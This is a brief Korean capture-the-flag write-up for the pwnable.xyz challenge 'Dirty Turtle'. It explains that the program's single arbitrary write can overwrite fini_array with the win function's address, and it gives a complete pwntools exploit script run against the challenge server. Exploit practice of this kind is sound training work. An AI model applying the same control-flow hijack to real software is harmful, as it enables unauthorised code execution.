pwnable.xyz / Dirty Turtle

mitigation

main

aaw 한번하고 프로그램을 종료한다

fini_array win으로 덮으면 된다

 

from pwn import * 

p = remote("svc.pwnable.xyz", 30033)
#p = process("./dirty_turtle")


win = 0x400821
fini_array = 0x600BC0


p.recvuntil(b"Addr: ")
p.sendline(str(fini_array))
p.recvuntil(b": ")
p.sendline(str(win))

p.interactive()